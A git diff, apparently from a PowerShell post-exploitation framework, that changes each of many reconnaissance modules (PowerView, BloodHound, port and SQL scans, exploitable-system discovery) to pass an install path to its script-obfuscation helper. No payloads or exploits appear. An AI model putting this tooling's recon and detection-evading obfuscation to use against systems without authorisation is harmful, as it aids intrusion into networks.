diff --git a/lib/modules/powershell/situational_awareness/host/findtrusteddocuments.py b/lib/modules/powershell/situational_awareness/host/findtrusteddocuments.py
index 364d877..cb6feda 100644
--- a/lib/modules/powershell/situational_awareness/host/findtrusteddocuments.py
+++ b/lib/modules/powershell/situational_awareness/host/findtrusteddocuments.py
@@ -82,6 +82,6 @@ class Module:
         script = moduleCode
         scriptEnd = "Find-TrustedDocuments"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/host/get_pathacl.py b/lib/modules/powershell/situational_awareness/host/get_pathacl.py
index 00ab99a..5511c2b 100644
--- a/lib/modules/powershell/situational_awareness/host/get_pathacl.py
+++ b/lib/modules/powershell/situational_awareness/host/get_pathacl.py
@@ -87,5 +87,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/host/get_proxy.py b/lib/modules/powershell/situational_awareness/host/get_proxy.py
index 71eecb6..fe5997a 100644
--- a/lib/modules/powershell/situational_awareness/host/get_proxy.py
+++ b/lib/modules/powershell/situational_awareness/host/get_proxy.py
@@ -87,5 +87,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py b/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py
index 1939a24..e749366 100644
--- a/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py
+++ b/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py
@@ -116,6 +116,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/host/paranoia.py b/lib/modules/powershell/situational_awareness/host/paranoia.py
index 253971e..4540894 100644
--- a/lib/modules/powershell/situational_awareness/host/paranoia.py
+++ b/lib/modules/powershell/situational_awareness/host/paranoia.py
@@ -103,6 +103,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/host/winenum.py b/lib/modules/powershell/situational_awareness/host/winenum.py
index fd0583d..f8252c5 100644
--- a/lib/modules/powershell/situational_awareness/host/winenum.py
+++ b/lib/modules/powershell/situational_awareness/host/winenum.py
@@ -90,6 +90,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/arpscan.py b/lib/modules/powershell/situational_awareness/network/arpscan.py
index 387b496..345372f 100644
--- a/lib/modules/powershell/situational_awareness/network/arpscan.py
+++ b/lib/modules/powershell/situational_awareness/network/arpscan.py
@@ -91,6 +91,6 @@ class Module:
 
         scriptEnd += " | Select-Object MAC, Address | ft -autosize | Out-String | %{$_ + \"`n\"}"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/bloodhound.py b/lib/modules/powershell/situational_awareness/network/bloodhound.py
index d080099..7506a5a 100644
--- a/lib/modules/powershell/situational_awareness/network/bloodhound.py
+++ b/lib/modules/powershell/situational_awareness/network/bloodhound.py
@@ -159,7 +159,7 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
 
diff --git a/lib/modules/powershell/situational_awareness/network/get_exploitable_system.py b/lib/modules/powershell/situational_awareness/network/get_exploitable_system.py
index 4563d5a..99163e9 100644
--- a/lib/modules/powershell/situational_awareness/network/get_exploitable_system.py
+++ b/lib/modules/powershell/situational_awareness/network/get_exploitable_system.py
@@ -113,5 +113,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/get_spn.py b/lib/modules/powershell/situational_awareness/network/get_spn.py
index 9fce9ca..b9c00f4 100644
--- a/lib/modules/powershell/situational_awareness/network/get_spn.py
+++ b/lib/modules/powershell/situational_awareness/network/get_spn.py
@@ -93,6 +93,6 @@ class Module:
         
         scriptEnd += " -List yes | Format-Table -Wrap | Out-String | %{$_ + \"`n\"}"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py b/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py
index dbf5362..8996ab7 100644
--- a/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py
+++ b/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py
@@ -118,6 +118,6 @@ class Module:
             if udpTimeOut != "":
                 scriptEnd += " -UDPTimeOut "+udpTimeOut
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py
index 83c9bf9..ca86149 100644
--- a/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py
+++ b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py
@@ -104,6 +104,6 @@ class Module:
         if instance != "" and not check_all:
             scriptEnd += " -Instance "+instance
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/portscan.py b/lib/modules/powershell/situational_awareness/network/portscan.py
index 336e1bf..88f7617 100644
--- a/lib/modules/powershell/situational_awareness/network/portscan.py
+++ b/lib/modules/powershell/situational_awareness/network/portscan.py
@@ -142,6 +142,6 @@ class Module:
 
         scriptEnd += " | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-String | %{$_ + \"`n\"}"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_computer_field.py b/lib/modules/powershell/situational_awareness/network/powerview/find_computer_field.py
index 77f24df..4dcd3b2 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/find_computer_field.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/find_computer_field.py
@@ -103,5 +103,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_group.py b/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_group.py
index 1e81f69..866fb8d 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_group.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_group.py
@@ -97,5 +97,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_user.py b/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_user.py
index 6d7588d..60a1ad1 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_user.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_user.py
@@ -97,5 +97,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.py b/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.py
index ab9a194..fd02dd9 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.py
@@ -112,5 +112,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_location.py b/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_location.py
index 2ca9d6f..1d9179a 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_location.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_location.py
@@ -107,5 +107,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.py b/lib/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.py
index 675c30c..5e8328b 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.py
@@ -118,5 +118,5 @@ class Module:
         
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.py b/lib/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.py
index 463840f..e39406c 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.py
@@ -85,5 +85,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_user_field.py b/lib/modules/powershell/situational_awareness/network/powerview/find_user_field.py
index 0a98d22..8f2dd50 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/find_user_field.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/find_user_field.py
@@ -103,5 +103,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.py b/lib/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.py
index 0168052..c32c615 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.py
@@ -98,5 +98,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_computer.py b/lib/modules/powershell/situational_awareness/network/powerview/get_computer.py
index b521180..94d2fc1 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_computer.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_computer.py
@@ -132,5 +132,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_dfs_share.py b/lib/modules/powershell/situational_awareness/network/powerview/get_dfs_share.py
index f527abf..9440c57 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_dfs_share.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_dfs_share.py
@@ -92,5 +92,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_controller.py b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_controller.py
index d709597..fde07a3 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_controller.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_controller.py
@@ -98,5 +98,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_policy.py b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_policy.py
index 4a6d5cf..0fd2bb6 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_policy.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_policy.py
@@ -119,5 +119,5 @@ class Module:
         else:
             script += moduleName + " " + pscript + ' | fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed! Use ExpandObject option to expand one of the objects above such as \'System Access\'"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_trust.py b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_trust.py
index 4b7189f..c90d258 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_trust.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_trust.py
@@ -98,5 +98,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_fileserver.py b/lib/modules/powershell/situational_awareness/network/powerview/get_fileserver.py
index 49c34ae..0e49bdc4 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_fileserver.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_fileserver.py
@@ -92,5 +92,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_forest.py b/lib/modules/powershell/situational_awareness/network/powerview/get_forest.py
index 4ed84c1..5b713e5 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_forest.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_forest.py
@@ -87,5 +87,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_forest_domain.py b/lib/modules/powershell/situational_awareness/network/powerview/get_forest_domain.py
index 7c55217..0a0592f 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_forest_domain.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_forest_domain.py
@@ -87,5 +87,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_gpo.py b/lib/modules/powershell/situational_awareness/network/powerview/get_gpo.py
index 28dd8ee..d4b2f82 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_gpo.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_gpo.py
@@ -112,5 +112,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py b/lib/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py
index 1932b95..52ba4bc 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py
@@ -109,5 +109,5 @@ class Module:
 
         script += '} | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_group.py b/lib/modules/powershell/situational_awareness/network/powerview/get_group.py
index f21e51f..6157e14 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_group.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_group.py
@@ -122,5 +122,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_group_member.py b/lib/modules/powershell/situational_awareness/network/powerview/get_group_member.py
index 398e948..bf4e24f 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_group_member.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_group_member.py
@@ -122,5 +122,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_localgroup.py b/lib/modules/powershell/situational_awareness/network/powerview/get_localgroup.py
index 0fc757f..6e79356 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_localgroup.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_localgroup.py
@@ -108,5 +108,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_loggedon.py b/lib/modules/powershell/situational_awareness/network/powerview/get_loggedon.py
index 3422d5d..c9744d1 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_loggedon.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_loggedon.py
@@ -87,5 +87,5 @@ class Module:
 
         script += ' | ft -wrap | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_object_acl.py b/lib/modules/powershell/situational_awareness/network/powerview/get_object_acl.py
index 2acb7aa..ab03fc8 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_object_acl.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_object_acl.py
@@ -133,5 +133,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_ou.py b/lib/modules/powershell/situational_awareness/network/powerview/get_ou.py
index 15a4e90..1fc5981 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_ou.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_ou.py
@@ -112,5 +112,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_rdp_session.py b/lib/modules/powershell/situational_awareness/network/powerview/get_rdp_session.py
index ce408c8..8593fdd 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_rdp_session.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_rdp_session.py
@@ -88,5 +88,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_session.py b/lib/modules/powershell/situational_awareness/network/powerview/get_session.py
index feea3fb..db906f7 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_session.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_session.py
@@ -87,5 +87,5 @@ class Module:
 
         script += ' | ft -wrap | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_site.py b/lib/modules/powershell/situational_awareness/network/powerview/get_site.py
index e2889bc..374e0e9 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_site.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_site.py
@@ -112,5 +112,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_subnet.py b/lib/modules/powershell/situational_awareness/network/powerview/get_subnet.py
index cfef751..e249a34 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_subnet.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_subnet.py
@@ -107,5 +107,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_user.py b/lib/modules/powershell/situational_awareness/network/powerview/get_user.py
index 4ac729b..26b830c 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/get_user.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/get_user.py
@@ -122,5 +122,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/map_domain_trust.py b/lib/modules/powershell/situational_awareness/network/powerview/map_domain_trust.py
index 764fc63..6bc3df3 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/map_domain_trust.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/map_domain_trust.py
@@ -92,5 +92,5 @@ class Module:
 
         script += '| ConvertTo-Csv -NoTypeInformation | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/process_hunter.py b/lib/modules/powershell/situational_awareness/network/powerview/process_hunter.py
index 3120886..055c482 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/process_hunter.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/process_hunter.py
@@ -147,5 +147,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
